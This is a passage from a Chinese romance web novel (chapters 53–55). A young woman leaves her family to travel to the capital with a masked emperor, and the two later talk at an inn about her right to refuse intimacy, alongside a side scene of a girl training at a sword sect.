他不近不远地站着,视线堪堪好能看见门内的宋迎。 宋家五人围桌而坐。 虽然是自家饭桌,但众人都不敢说话。 还是宋迎先开了口。 “爹、娘……” 可她一开口,酸涩感却涌上喉咙,她连忙拿起馒头咬了一口。 试图用咀嚼来冲淡哭腔。 “我知道因为我的事情,你们操碎了心。” 听着女儿语带歉意,宋夫人眼圈先红了。 “……本想着一家团聚,女儿却又要离家……” 宋迎越说,心中歉疚越浓,眼眸很快蓄满泪水。 对于家人,她永远歉疚过多。 当初她被钦定为秀女,爹娘宁可拿全家性命去赌,都不愿意让她入宫。 如今,又为了她一句没头没尾的“等我三天”, 便真的抛下一切,冒着杀头的风险陪她。 种种缘由,她无法跟爹娘明说。 始终都是歉疚。 宋迎垂下眼帘,两行清泪决堤而下。 宋夫人见不得女儿掉眼泪,连忙伸手去擦。 “花娘……花娘她跟我和你爹说了很多,”她哽咽道,“其实我们心里早有准备。” “你、你不必太过自责。” 宋夫人又急又心疼。 蓄着的眼泪淌下,视野被冲洗的澄澈清明,才能更好地看清爹娘。 “我当初决意入宫,是为了护住家人。” “这次,”宋迎眼珠微微一转,偏向门外,“也是一样的。” “茵茵,”谢花娘压低了声音,“你跟嫂嫂说句实话——” “你,是不是宫里的娘娘了?” 宋迎一愣,满心亏欠散成心虚。 她含糊道:“算……是吧。” 谢花娘心一沉,回过头,视线飞快扫了眼门外黑影,“那你此番回去——” “就不怕那人疑心吗?” 宋迎斩钉截铁:“不会。” 见宋迎如此笃定,谢花娘悬着的心才稍稍落下。 “你兄长那位同窗故友,如今在辽州官场站稳了脚跟。” 谢花娘转而提及家事,缓和气氛,“他前几日还捎信来,说家里这边,万事有他照拂。” “你去京州后,且放宽心。” 说着,她又叹了口气,话锋一转,“茵茵,谁都不希望京州事变。无论输赢,受苦的也只有咱们这些寻头百姓。” “你此番前去,若是能——” 谢花娘倏然顿住,或许是觉得这个期许太过沉重,她笑了笑,“嫂嫂在这等着你归家。若是不能,嫂嫂也在这等你归家。” 宋迎呆住,嫂嫂以为她能耐这么大吗! 她被吓到了,连忙放下筷子摆手。 “不不不!嫂嫂!不是的!我不是去救天下人的!” 不是?谢花娘茫然。 “那……那是天大的事!我怎么办得到!” 宋迎声音渐渐弱了下去,“我就是个普通人,我没那么大本事,我只是——” “想救京州的家人……” 她慢吞吞说着,“我不想让他死掉。” 宋迎这么一番话说下来。 众人自然心知肚明。 廊下,那道玄黑身影背倚廊柱,一动未动。 然而,那层玄铁面具之下,呼吸却有了一瞬凝滞。 一直沉默不语的宋员外,突然一咬牙一跺脚,喝道: “要去!全家一起去京州!一个都不能落下!” 第53章 第53章藏藏好~ 宋员外起身朝门外身影,拱手作揖: “小兄弟,我们……我们自己雇马车,车马费用更是不敢劳烦。还望……小兄弟通融一二。” “爹!” 宋迎旋身回首,眼底薄雾漫上。 话还未说下半句,门外之人幽幽开口: “马车去京州,需行至二十日。届时,江山易主,你们正好赶上新帝登基。” 那不是他的真实声音。 而是催动内里从胸腹部发出的声音,带着阵阵回音,森然可怖。 在场众人动作一僵,惨白脸上的惊惧表情甚至还没来得及浮现。 拜周梿所赐,宋迎眼眶里的泪水,被倒逼了回去。 “阿梿说的不无道理。”她上前兀自将僵立的爹扶回桌前,“你们就安心等我回家吧。” 宋员外被女儿按回了椅子上,刚想再起身,却反被怀抱圈住了。 “爹,” 宋迎弯下腰,分离的酸涩感被压回心田,腾涌而上的是家人支持下的决心。 “女儿长大了。”她闷着小声说道,“上次在司正面前,女儿想说就是这句话。” “爹那时候想说什么?” 宋员外双手抱住女儿瘦削脊背,通红双眼尽力向上弯起,露出笑意: “爹等你回家!” “好。” 宋迎重重地点了点头,鼻尖发酸。 转而强忍着情绪,望向一旁的母亲,“娘呢?” “娘、娘……” 宋夫人嘴唇翕动,想说的话太多,一时间不知从何说起。 “娘最笨,让、让娘……好好想想……” “你,”她猛然背过身去,连连摆手,“……娘等你回来,再同你好好说话。” 见母亲躬身哽咽,双肩止不住耸动,已是泣不成声。 宋迎心口一涩,不愿再勉强,高声应下:“好!等回来再说!” 说罢,她视线越过双亲,望向对面欲言又止的兄长。 “大哥……” 宋迎刚才扬起的声音的又弱了下去。 小脸皱成一团,“大哥你有什么想说的吗?” 宋晋同嘴巴张了张,没出声。 用口型说了句话,还拼命朝门外挤眉弄眼的。 宋迎没看懂,凑到他跟前,复又问了一遍: “大哥你想说什么?” 宋晋同急的又用口型说了一遍。 宋迎依旧满头雾水,猜道:“……糖?什么糖?” 宋晋同都要被宋迎急死了:“不是!” 他眼珠子和眉毛都在朝门外瞟,都要挤到一块去了。 嘴巴紧闭,从牙缝里挤出来句:“藏……藏好。” “哈?”什么意思。 “藏!藏!好!” 宋晋同以为她没听清,又从牙缝里加重音量挤了一遍。 可音量是大了,听着还是含糊不清。 宋迎被磨得彻底没耐心了。 她看着宋晋同不断抽搐的眼角,没好气道: “大哥,咱不行请城西的郎中来看看呢。” “茵茵你别不识好歹!”宋晋同也炸了,“大哥可是为你操碎了心!” “对不住。”宋迎翻了个白眼,“没看出来。” “茵茵你——” 宋晋同指着宋迎霍然起身,却被谢花娘一巴掌招呼坐了回去。 “路上辛苦,嫂嫂给你烙了点肉馅饼。” 谢花娘起身拉着宋迎的手,往厨房去,“走,跟嫂嫂去拿。” 谢 花娘稍稍侧首,目光往门外飞快一瞥。 …… “一二三四五……哇!嫂嫂你烙了我半个月的口粮啊!” 这下路上不怕吃不到好吃的了! 宋迎瞬间冒起了星星眼。 “茵茵……” “嗯?”宋迎听见嫂嫂语气不对,目光从肉饼堆里挪开,抬眼便瞧见嫂嫂泪光盈盈的。 她心里一慌,连忙上前抱住谢花娘。 “嫂嫂怎么了这是?” “黎姑娘她是个好人!” 谢花娘哽咽的声音从肩膀处传来。 只片刻,她便很快理好情绪,双臂用力,推开了宋迎。 “黎姑娘,她是个好人。”谢花娘正色道,“她……她那时来过家里……” 谢花娘思绪飘远。 那时,宋迎被司正带走,已将近月余。 公婆急火攻心,双双病卧在床。 眼看二老身体一日不如一日,她也是没了法子,只好给夫君寄去家书,盼他能早日归家。 家书寄出后第三天,黎姑娘便提剑拜访。 那时候的她,脸上又挂了彩,身后跟着一白衣剑客,剑客头戴蓑笠。 宽大帽檐遮住了大半张脸,她看不真切。 黎姑娘见了她便要拜。 “宋夫人,在下对不起宋家!” “宋姑娘她、她为了救我,用自己……吸引了那暴君的注意!” 她身侧剑客出言纠正道: “方才听你所言,误打误撞居多。她一弱女子,又不会武功,如何救你?不过是她倒霉罢了。” 黎婧容辩驳: “无论初心如何,我靠宋迎脱身已成事实。既是事实,便是我黎婧容承了这份恩情!” 他们后面的对话,她一个字也没听进去。 只抓住了重点,“那茵茵……” 黎婧容立刻说道: “宋夫人放心,宫中内线传信,说宋姑娘已被调至暴君身侧。性命尚且无虞。” “宋家大恩,在下不敢忘怀!” 黎婧容她单膝跪地,伸出三指指天,“我黎婧容在此立誓,定会再闯宫闱,将宋姑娘安然救出!” “此番前来,是想请夫人修书一封。待我下次入宫,寻机交给宋姑娘,也好让她……信我。” 回忆至此,谢花娘顿住了。 继而从怀里掏出一枚令牌,塞到宋迎手中。 硬物膈手,宋迎这才回过神。 她低头看着令牌,茫然问道:“嫂嫂这是……” “这是黎姑娘交给我的。” 宋迎疑惑蹙眉:“她为何给嫂嫂你?” 谢花娘笑了笑,“当时,我也是这么问她的,她说——” * “呀!” 剑锋凌厉划过,可落至半空,执剑之人却因腕骨劲道不足,剑柄硬生生脱手落地。 “怀兰月!我找了你好久,你怎么一个人偷偷躲在这?” 吴不庸蹲在粗壮树枝上,嘴里叼着根狗尾巴草,毛茸茸穗子随着他嘴巴的张合,上下翘动着。 日光透过层叠树叶,在地上洒成一片光斑。 怀兰月俯身穿过光斑,将长剑捡起。 压根就没往树上看,她手腕一翻,重新摆开架势。 左手屈肘上举,两指并拢,捏了个剑诀。 “哈——!” 剑锋猛地朝前刺出。 “喂!我跟你说话呢!” 吴不庸从树上一跃而下,而后旋身泄力,在地上滚了几圈,精准落在怀兰月面前。 “你别打扰我练剑!” 怀兰月觑了他一眼,背过身去,又摆出刚才的姿势,“宗门大比在即,我若是拿不到甲等,就要被逐出剑云宗了!” 她小声嘟囔着,“你有家回,我可没有。” 右手手腕微微发抖,怀兰月咬着牙快速伸出,“呀——!” “啧。” 吴不庸轻嗤一声,弹了弹嘴里的狗尾巴草,又绕到怀兰月身前。 “那你就按老头子说的那样,去山门外说几句话呗。” 宗主闭关修炼,如今是肃之堂堂主代掌宗主之位。 吴不庸见过他好多次,凶巴巴的老头子,他不喜欢。 怀兰月惊诧道: “你怎么知道!” 说这事的时候,只有律前堂主和她二人在场啊! 吴不庸眼珠子心虚地往上转,脚尖蹭着地,画了半个圈圈。 他背过身去,“我、我是在那里午睡!谁叫你们说话那么大声!我可没有偷听!” 说完,他急着想把自己溜号的事情混过去。 把话题又拽了回来,“总之,你就按那老头子说的做,就算拿不到甲等,也不用被赶下山了啊!” 怀兰月被他这番说辞气到了。 “你是想让我说谎咯?” 这回,换她绕至吴不庸身前,盯着他瞧。 “我可没有!”吴不庸被她盯着耳根发烫,不甘示弱地瞪了回去,“我只是、只是——” 他“只是”了半天,终于憋出一句:“你要是走了,我不就变成倒数第一了吗!” 怀兰月一张小脸通红是被气的。 而吴不庸的脸也红透了,大概也是被气得,他气她不识好人心,连他是来关心她的都分辨不出。 原来他是来关心她的,怀兰月看着他逐渐涨红的脸,终于明白过来。 “噗嗤——” 怀兰月笑了出来。 憋了好几天的心事,终于有人能倾诉了。 “律前堂主让我去山门口讲我爹的事。” “可是我根本不知道我爹做了什么!官场那些我一窍不通。我十岁就不读私塾了,让我去说,我能说什么呢……” 怀兰月又像是说给自己听的,话不自觉变多了起来。 “如果要说我二哥,那我倒乐意说个三天三夜。” “偏偏要我说我爹的事……” 她情绪越来越低落,声音也跟着矮下去。 “欸,不对啊,”吴不庸随便抓了个重点,挠头问道,“之前我在庄子打杂,庄子主的女儿都能在私塾念到十六岁。” “怎么你家才让你念到十岁就……” 怀兰月眼神里的光霎时黯淡下去。 “别、你别哭啊——” 见她眼眶迅速蓄满了水光,吴不庸慌了,顿时手足无措起来。 “我、我是不是说错话了?要不你去找大师兄吧!我听闻大师兄近日回山了!” “你是大师兄带回来的,还让你破例改了内门弟子才能用的姓氏。你去找他,他肯定乐意帮你的!” “我不要,”怀兰月吸了吸鼻子,“怀大哥和黎姐姐还有更重要的事情去做,我不能打扰他们。” 她脊背猛地挺直。 执剑于身前,剑面映出她倔强泪光。 “我要靠自己,拿到甲等!” 寒光凛凛下,一滴泪顺势滑落。 “我绝不要被逐出师门!” “哎呀烦死了!”吴不庸急的直抓头发,她在说笑吗她是倒数第一欸,怎么可能在短短五天内就能拿到甲等! “你不去说,我去帮你说!” 说着吴不庸转身往树林外冲去。 “铮——” 一声低鸣响起,吴不庸脚下一顿。 只是一片再寻常不过的绿叶,在他面前入土半寸,叶缘还在微微震颤。 他被一片树叶截住了! 他瞳孔骤缩,旋身一看,不知何时,他身后多了一人。 怀玉珩目光怔怔,投向怀兰月。 像是在看她,又像是在看她身后虚无。 他速度实在是太快了,怀兰月还没反应过来。 愣怔片刻,她终于想起来了。 “哦哦哦!” 怀兰月提步小跑至旁边的大石边,从包袱里掏出甜糍团。 ——甜糍团被油纸小心翼翼的包裹好。 刚一转身,怀玉珩便从数十步外的地方,瞬移到了她面前。 他极其自然地接过甜糍团,撕开油纸,两只手握着圆形糍团的下端。 然后—— 咬一口,“啃吃啃吃”嚼五下,咽。 再咬一口,“啃吃啃吃”嚼五下,咽。 …… 怀兰月有些不好意思,“今天有点晚了,甜糍团冷了估计没那么好吃了。” 怀玉珩没有接话,目光依旧空洞,看向林间虚无。 怀兰月早就习惯怀玉珩冷淡的性格。 但是她每次站在他身边看他吃东西,真的不知道该说些什么。 怀兰月深吸一口气,“那……我先去练剑了。” “饭堂的李大娘让我给你传话,” 怀玉珩吃完糍团,视线才慢慢聚拢,转到怀兰月身上,“说今天吃黄豆焖猪蹄,让你早一个时辰去帮忙。” “……好。”怀兰月愣了下才反应 过来。 那是她半月前就跟李大娘说好的事。总不能食言。 大不了晚上再来树林练剑吧。 这么想着,怀兰月点点头,将包袱收拾好,“那……不庸,还有玉珩师兄,我先去忙啦!” 怀兰月转身朝宗门食堂跑去。 等青兰色身影消失在树林尽头,怀玉珩眼珠才微微一转,整个人在瞬息间,便移至吴不庸身前。 空洞的眼神瞬间聚焦,犹如出鞘剑锋,泛起一丝冷光。 他眯起双眼看向面前的人。 “她是我带回来的,她的怀,当然是‘怀玉珩’的怀。” 说完,他便在吴不庸面前凭空消失了。 吴不庸的穴道这才解开,他浑身瘫软,跌躺在树林间。 树叶无风自动,簌簌而落。 他盯着空中,不知过了多久,才用尽全力,朝着天空喊道: “牛气什么!你等着!我迟早会超过你的!” 少年的声音在林间回荡,惊起飞鸟无数。 “我吴不庸,迟早——会是天下第一!” …… …… 宋迎将肉馅饼背在身上,眼睛闪亮亮地看向身侧人。 面具下的周梿闻见了数量庞大的鲜香味。 惊恐问道:“真的要带——这么多吗?” 他努力维持着声线的平稳。 宋迎对他胸腹部憋出来的声线不太感冒。 可落在宋家四人耳中,脸色又白了几分。 “不可以吗?” 宋迎:…… 问完她自己也愣住了。 ……背着这么一大包吃的,兴高采烈的,她这模样是不是有点像要去春游? 跟眼下这生离死别的气氛也太违和了。 周梿几不可闻地叹了口气,没再说什么,伸手将包袱接过,算是同意了。 宋迎空出来的手,立刻伸过去握住他的。 另一只手则高高扬起,她笑着侧过身,对着堂屋里的家人,挥动手臂: “我一定会回家的!这次——” “你们可以想我!” 话是这么说,可真要走。 宋迎简直是一步三回头,直到看不清家人的身影,她才恋恋不舍地收回目光。 她停下脚步,往周梿身边贴了贴。 “阿梿,我们要怎么回京州?” 周梿却没有回答,不由分说地转过身,抱住了她。 第54章 第54章不愿意就是不愿意!…… “阿梿?” 都没出家门口呢我家里人还没走远呢你要死啊! 身后便是人来人往的长街,能听见鼎沸人声,小贩扯着嗓子的叫卖、孩童追着拨浪鼓的嬉笑。 可这些声音倏然放大,而后逐渐淡成了模糊背景。 宋迎有些不知所措,屈起手肘,轻轻拍了周梿两下。 这下,周梿手臂收的更紧了。 他一身玄色劲装,本就辨识度极高。 如今又在家门口搂搂抱抱。 ……好歹找个暗一点的地方吧,起码别被家里人看见。 宋迎被抱得都快炸毛了! “阿迎,” 隔着玄铁面具,声音犹如投石入窟,带着逐渐变轻的回音。 是他自己原本的声音,很小、非常小。 要不是两人紧紧相贴,外面街市喧嚣,她或许根本听不清。 “阿迎。” 他怕她没听见,深吸一口气,又鼓足了勇气,声音大了一些。 这两句声调不一样。 后者尾音抬高,勾魂摄魄,像是引诱沉沦的蛊惑。 宋迎的心被扎漏了个窟窿,手上锤拍频率变快,催促嗫嚅道: “听见了听见了……你先把我松开。” 箍着她的手臂一松,宋迎赶紧扭头,做贼心虚地回头扫视了一圈。 连周梿对她称呼,从“茵茵”变成“阿迎”,这点微妙的变化都没放在心上。 还好——没人看见。 宋迎确认无人注意之后,才转身面朝周梿。 她叉着腰问:“我们怎么回京州?” 马车还是? 周梿沉默地伸出两条手臂,示意她上来,他抱着她走。 宋迎盯着他的玄铁面具,突然想起。 ——周梿说过,面具状态下,说话极为费力。 除非催动内力,用胸腹共鸣发音,否则真实声音会闷在里面,模糊得听不清。 欸,那他刚刚是用了多大力气,才能清晰喊出那声“阿迎”的? 在她愣神间,双臂已经探了过来,眼看就要将她凌空抱起。 “等等!”宋迎连忙伸手阻拦,“我想你背我。” 抱实在是抱腻歪了。 偶尔也要换换口味。 搭在腰间的手指一顿。 下一瞬,周梿整个人矮了下去,在她面前屈膝俯身,而后用宽阔的脊背朝向她。 宋迎见状立马蹦了上去。 双手环住他脖颈,十分满意地晃着两条小腿。 等她攀稳,周梿托着她双腿,足尖一点,直起身子的同时,冲天而起! 脚下街巷与屋檐飞速缩小,宋迎只觉耳边风声呼啸。 起初她还有些紧张,大半张脸埋在周梿脖颈,但很快便被全新的新奇感替代了。 ——和她想象中的“轻功”完全不同。 那天晚上,宋迎详细问过黎婧容是怎么带她回来的。 还问了她,为何不直接用轻功带人? 黎婧容给出的解释是, “轻功”更像是飞檐走壁,需要在屋檐、树梢等处的落脚点,不断借力换气。 而且,长途奔袭对内力消耗极大。 若是负重一人,她和怀玉泽交替行进,或许可行。 可一旦内力耗尽,遭遇不测,便是陷入绝境之地。 反而得不偿失,远不如马车稳妥。 再者,就算轻功带人可行。 但是在白天施展,太过招摇,定会引起不必要的骚乱。 可周梿—— 宋迎视线越过他肩膀朝下望去。 脚下已经是郊野山林,他们高度几乎与飞鸟平齐。 这哪里是飞檐走壁…… 这分明是在“飞”吧! 不,他还是需要借力的。 只是他蓄力时间较长,沉坠间隙较短。 ——每次长距离凌空后,会有一次极其短暂的换气空荡。 所以,自她家门口腾空后,第二个落脚点便是郊外山林。 山林树木丛生,白天赶路根本不会引人注目。 如此一来,大概不到十天就能走完原本二十天的路程。 嘶—— 就是,有点冷。 突然,宋迎发现了一个问题。 肉馅饼不在周梿身上了,去哪了?! …… 山光西落,月升东隅。 周梿到底是顾及她身体,没有连夜赶路,找了个客栈休息。 他说过,当日行进路程,看白天天气变化而定。 若是天公作美,五日便可抵京。 但宋迎总觉得他有所保留。 今天是第二日了,她明显感觉到,今日前行速度有所放缓。 是因为她昨天打了五个喷嚏吗? 宋迎刚将头发散开,周梿便从窗前回身。 颀长身形无声立在她身前,他将一叠干净衣物,和烘好的肉馅饼,放在她面前。 山野客栈条件简陋,不是每家店都有充足的热水。 宋迎爱干净,不能洗漱沐浴已经是她忍耐的极限, 要是没有干净衣裳穿,她—— 她也只能一怒之下,再一怒之下了。 毕竟大事在前,她知道轻重缓急。 还好有“隐”的存在。 她第一次感受到了便利—— 肉馅饼味道太大,给隐。 行李包袱太沉,给隐。 简直就是比她还要苦命的路人甲,回了京州,她一定要给他们涨薪! 有了他们,她才能实现每天有新衣裳穿,有热馅饼吃! 周梿才能 实现移动化办公! 感恩隐卫! 隐卫万岁! 宋迎捧着馅饼,将腮帮子塞鼓。 嘴巴没闲着,眼睛也不停地在周梿身上打转。 她的目光毫不吝啬地落在周梿身上—— 从前看惯了他身着宽大龙袍的模样,如今这身玄黑劲装,才将他真实身形勾勒而出。 宽肩撑起流畅线条,腰身紧窄,被束带一勒,更显利落。 双腿绷住张力,不见冗余赘肉,精悍感扑面而来。 视线滑到他腿上,宋迎耳根蓦地一烫,慌忙挪开眼,却仍然留了一缕余光,挂在他身上。 周梿解了搭扣,摘下玄铁面具后,做了好几个深呼吸。 她就说那个破面具不透气吧。 或许是她的余光都太过专注,专注到近乎炽热。 他抬眼望了过来。 宋迎心头一跳,带着被偷看被抓包的窘迫,凑到周梿身侧,慌忙将啃了一半的馅饼递过去, “……你要不要来点?” 周梿视线从她亮晶晶的眸子,滑到她沾着油光的唇瓣,像是饱满莹亮的蜜果。 眼帘又垂了垂,落在她手里的半块饼上,上面还留着圈小巧的、她的齿痕。 他喉结微动,像是吞咽下了什么念头。 随即又像是在克制着,重重地摇了摇头,从怀中取出一个小小的竹筒。 宋迎眼睛亮了一瞬,侧脸贴上他胳膊,甜兮兮说道:“那我先去换衣裳睡觉了。” 没有睡衣,她只能拿明日的新衣裳当睡衣。 反正就这几天,挨过就好了。 她刚拉过被子,光影便被一道身影拢住。 周梿欺身而上。 宋迎心跳漏了一拍,似乎预料到了某些事情。 果然—— 两枚软木塞,被塞进了她的掌心。 宋迎:………… 她低头定睛一瞧,赶忙把掌心的耳塞砸回他胸口。 软木塞从他胸口弹落在被褥上。 周梿被扔的猝不及防,低头瞥了眼,再抬眼时,眉头微微一蹙。 难道他会错了意,方才她那般,不是在邀请他么? 他还敢装无辜!! 宋迎拽起被子,往上一拉,整个人裹进了被子里。 “我要睡觉!” 宋迎闷声控诉。 亏她还以为他终于良心发现,是去处理正事。 终于打算放她一马了,没想到啊没想到—— 狗男人精力好的要死! 满脑子就想着那点事! 自从做过之后,他完全就不懂节制! 白天背着她赶路, 晚上还要??? 他内力是取之不尽用之不竭吗! 书里的双修法,不是男女主的金手指吗? 他一个反派怎么可能会! 但是事实摆在眼前—— 宋迎一定要采取点什么措施。 之前来软的,他不放过她。 今晚必须来点硬的! “今天我不想。” 隔着被子的语气又冲又硬。 “为什么?” 周梿的声音从被子外面传来,似乎比方才更近了。 紧接着,宋迎感觉身侧猛地向下一陷。 周梿就这样压着被子,侧身躺了下来。 “是……昨天弄疼你了?” 疼? 那倒没有,可以说是,恰恰相反的程度。 “没有。” 她冷硬答道。 被子外的男人再次沉默了。 周梿眉心紧缩,愈发想不通。 昨夜,绸带覆上她双眼的时候,明明她自己也玩的很开心。 视觉被暂时剥夺的幽暗,将其余感官放大数倍。 她很喜欢。 喜欢到他需要不断去亲吻,以至于唇瓣不能离开她瞬息,才能勉强吞下溢出的呜咽。 可她太害怕被旁人察觉了。 实在无法尽兴。 山间客栈大多是木制的墙与隔板,藏不住声响。 所以他的动作只能放轻、放得再轻些,极其缓慢地——向前行进。 ——尽量不要发出一丝声音。 只要发出“嘎吱”一声,身下人便会控制不住地绷紧身子,开始颤抖起来。 细微的颤抖犹如绷紧丝线,顺着他的肌肤传至他心尖。 一半情动,一半恐惧。 她太害怕了。 刻意收敛下,只纵着要了三次,怀里的人已经出了一身薄汗。他才堪堪停手。 思及此,周梿找到了问题所在。 他不应该这么玩。 看她赌气不理人的模样,分明就是恼了。 他看着被子里缩起的凸起,老实道歉: “是我的错。” 宋迎还蒙在被子里,正绞尽脑汁地斟词酌句。 她该怎么告诉他,眼下,自己是真的累了,没有半点旁的心思。 不愿意,只是因为单纯的不想动。 不行—— 这么说他肯定会贴过来说:我来动。 哎呀!结果不是一样吗! 甚至可能更过分…… 宋迎越想越烦,这里又不能洗澡,昨天结束黏答答的感觉,简直让她抓狂! 她不愿意就是不愿意! 干嘛非要那么多理由,又不是欠了他的。 咦? 他怎么突然道歉了? 攥着被沿的手往下拉了拉,露出一双剔透莹润的眼睛,眨了眨。 宋迎略一侧首,正好撞上周梿的视线。 “是我的错,”他又重复了一遍,继而手肘施力,倾身靠近。 呼吸拂过她额发,“今日不蒙眼睛了,软木塞盖住耳朵,听不见外面动静,也就……” 也就什么? 宋迎眉头一蹙,猛地坐起身。 她垂眼,看向身侧躺着的男人,带着自己都没察觉的埋怨: “你以为,我是在气昨天的事?” 或许是因为他没有穿那身碍眼的龙袍, 又或许是他没有用“朕”这个自称。 宋迎罕见地生出倾诉欲,对他敞开心扉。 “没有!昨天我很开心!很、开、心!”像是强调,又像是在赌气。 “但昨日是昨日,今日是今日,根本不能混为一谈!” 宋迎有些激动,语气嗔怪又委屈,声音还拔高不少。 突然她意识了什么,猛地捂住嘴巴,觑了身侧男人一眼。 却见那人在听见“开心”两字时,眼底倏然漾开的笑意。 宋迎被笑意一刺,他根本没有在好好听她说话! 他只听到了他想听的! 无名火蹭地冒上,可刚要张口,她又泄了气—— 明天还得指望他背着自己赶路。 有求于人,暂且忍了。 宋迎忿忿地想着,等她问完那个问题,一切尘埃落定,她在跟他好好算账! 她打定主意后,又钻回了被子里,翻了个身,用后背对着他。 “阿迎,” 宋迎瞳孔猛地一缩,心脏突然砰砰直跳,异常猛烈地撞击着她的胸腔。 “昨日与今日,究竟有何不同?” 是他原本的声音。 没有面具遮掩,清晰的声线钻入耳膜。 几乎是在听到的瞬间,整个身体的脏器都做出了反应。 呼吸不由自主地变热加重,来适应身体在刹那间发生的巨大变化。 第55章 第55章唇角吻 宋迎不想回答这种问题。 可偏偏身侧男人的存在感实在太强,又执拗得不识趣。 她就是不想理他! 不好好听她说话就算了,他们之间根本就是鸡同鸭讲,对牛弹琴! 但是自己的心脏却因为他刚刚的称呼,撞得她指尖到现在都还发麻—— 她实在好奇,怎么从家里出来,他就喊自己“阿迎”了? 被子里小小一团朝外拱了几下,又偷偷从被子里溜出半张脸,只露到鼻尖。 “为什么……是阿迎?”她问,“茵茵不好听吗?” 问完,耳尖瞬间染上薄红,双手捏着被沿飞速往上提,把耳朵藏得严严实实。 周梿看着她忽闪的睫羽,思绪飘回之前。 她的小字, 自然怎么念都好听。 但一想到,宋家每一个人,都那么熟稔而亲昵地唤她“茵茵”。 像苍蝇似的, 嗡嗡作响,聒噪得令人心烦。 茵茵……是他们的。 他沉默了一会,方才潭面凝冰的眼眸悄然融化,漾开水纹。 笑道,“阿迎,是我的。” 虽然宋迎能猜到答案,但是听见他亲口说出来,感觉却是全然不同。 呼吸被夺走,心脏停跳一瞬。 紧随而至的,是更加狂乱的鼓动,和难以平复的眩晕。 可周梿却浑然不觉,随即将话题又拉了回去, “所以,昨日与今日,究竟有何不同?” 语气像一条昨天吃了丰盛狗饭,今天却只能吃干巴狗粮的怨犬。 又来了! 他还来! 耳廓也渐渐染上绯色,但这次不是心动,纯粹是被他的执着劲儿给气的。 周梿好整以暇地躺在她身侧,问得坦荡,倒像是她是个无理取闹的,实在是可恶至极! 心中无名火又起,宋迎猛地翻过身,与他面对面。 四目相对。 露出被子的那双眼睛努力瞪圆,做出凶巴巴的模样,恶狠狠地瞪着他。 周梿眼中闪过一丝讶异,还眨了下眼:? 宋迎刚刚鼓起的满腔气焰,瞬间被纯然无辜灭了半截。 “因为——” 她豁出去了!宋迎压低了声音,说的又急又快,“因为不能洗澡!昨夜出了一身的汗,就算换了干净衣裳……身上也黏糊糊的……不、舒、服!” 最后三个字被宋迎咬的又羞又恼,用来表达自己强烈的不满。 原来……只是因为这个? 周梿怔了好几秒,悬着的一颗心终于落回原处。 眼底紧绷散去,漫上一层哭笑不得的无奈。 不是他先前玩心大起,真惹恼了她便好。 “但是,” 嗯? 笑意刚浮上眼眸,却见宋迎神色又变了。 她缓缓拉下遮着半张脸的被子,唇瓣翕动了几下,声音在齿间打了转,又被她生生咽了回去。 周梿眉梢一挑,伸出手,掌心覆上她脸颊。 “阿迎,”笑意淡去,换上几分探究:“看着我,告诉我。” 宋迎迎上他的目光,眸光清澈,只映着她一人。 她终于鼓足勇气,抬手,将他的手从自己脸上拨开。 而后坐起身,语气轻缓,却又异常认真的说道: “周梿,我不想。” 她俯视着他, “我不想,不是因为昨日,也不是因为今日。” “与沐浴或许有关,但是归根究底——只是因为我不愿意。” “我不愿意,只是单纯的、此时此刻的,不愿意。” 周梿眸色渐深,是思忖,是困惑。 触及他迷茫神色,宋迎心口微涩,忍不住补充: “这种事情,本该是两心相悦。若非如此……” 宋迎抿了抿唇,咽下伤人的那两个字,只说,“……否则不成了强求。强求来的,只有你一人欢愉。” “与我而言,却是煎熬。” 周梿喉结滚了滚,竟一时失语。 他蹙着眉,点了点头。 明白,又好似不明白。 从前,他以为这种事的主导,理应在他。 即便她不喜上置位,偶有微词,但最终的畅快与欢愉,总能抚平一切。 她也同样开心。 可如今,却说是煎熬? 煎熬一说,又是从何而来? 这番三言两语,听上去,就算是今日热水取之不尽,也是不愿意亲近的。 眉心渐拢,他心底生出几分无措。 既然不是他的问题,他又从何改正? 突然,身侧床褥微微深陷。 宋迎支起手肘,撑起半个身子,朝他俯身靠近。 他还没来得及反应,一个吻便落在他唇角。 心中乱麻被温柔剥开,所有疑问,瞬间烟消云散。 周梿抬起眼,温软便覆了下来。 下一瞬,宋迎抱住了他。 她没有用力,引导着他向后躺倒,直至平躺在床上。 他怔怔望着房梁,眨了眨眼睛,脑中竟有一息空白。 刚想伸手回抱,温暖却倏然抽身而去。 “我要睡了。” 她在他耳畔轻轻落下一句话。 而后翻了个身,背对着他。 很快,她的呼吸变得平稳绵长。 周梿侧过身,似乎还想说些什么。 转眸见她闭眼,便也咽了回去,不忍吵她。 他看着她,翻涌而上的欲/望在骤然间变成雨霖,浇灌在他心田。 十分,奇特。 原来这种奇异且极致的欢愉,并非只在云雨尽头出现。 仅仅是一个唇角的吻。 一个寻常的吻,就能让他心生满足。 周梿凝视着她的睡颜,弯起被吻过的唇角。 蹑手蹑脚地下了床榻,走向窗边桌案。 可宋迎这一觉睡得并不安稳。 她心里装着事,总是断断续续的醒。 意识浮沉。 四周是倾颓城墙,狼烟遍地。 而周梿,就立于那尸山之巅。 明黄龙袍被鲜血浸染,双眸闪着妖异金光,宛如鬼刹修罗。 他看见了她—— 而后,缓缓抬手,长剑横颈,冲她淡然一笑。 宋迎猛地睁开双眼,从榻上弹坐而起。 室内静谧,只有一豆烛火。 窗外天光未亮,仍是墨色沉沉。 宋迎侧头望向光源。 周梿还没有休息,他坐于桌案前,似乎还没忙完。 听见身后动静,他笔下一顿,随即回首。 “可是吵到你了?” “没有。”宋迎定了定神。 “既然醒了,就过来吧。” 周梿侧过身,朝她招手,“这个,你看。” 之前他说过,有要紧公务,会喊她过目历练。 宋迎披上外衣,走向他。 桌案上,摊着不止一份文书。 视线掠过那一叠,随即落在他指尖指向的那份。 字很小,需要眯起眼睛,全神贯注去看才行。 果然,这是一份军报。 六部之事,唯独兵部她说不出个所以然来。 吏部官员考评,讲究的是不动筋骨,只换血肉。 像尚书之流,动一人,只会震动朝野,落得满盘皆乱。 若是从底层落子,一步步剪其枝叶,断其根脉。待到根基稳固,便可连根拔起,朝堂照样稳定运转。 户部税务增减,算清钱粮账务是其次,关键是赋税。 赋税增一分,便是层层加码,落实便是三分,民怨沸腾; 若是减一分,旧部贵族又要联名上书,致使朝中不稳;此事急不得,只能推恩分化,徐徐图之。 礼部虽位列六部之首,看起来十分不起眼, 但宋迎另有打算,悄悄将礼部尚书换成了自己这边的人。 刑部卷宗繁杂,但多为依律法行事,只是有些律法过于严苛,有些律法又过于松懈。 此事不是她一人能定,尚需三行阁□□同商议。 工部水利修一事不难,图纸皆是专业人士定夺,她只需查看银钱与人力…… 但兵部—— 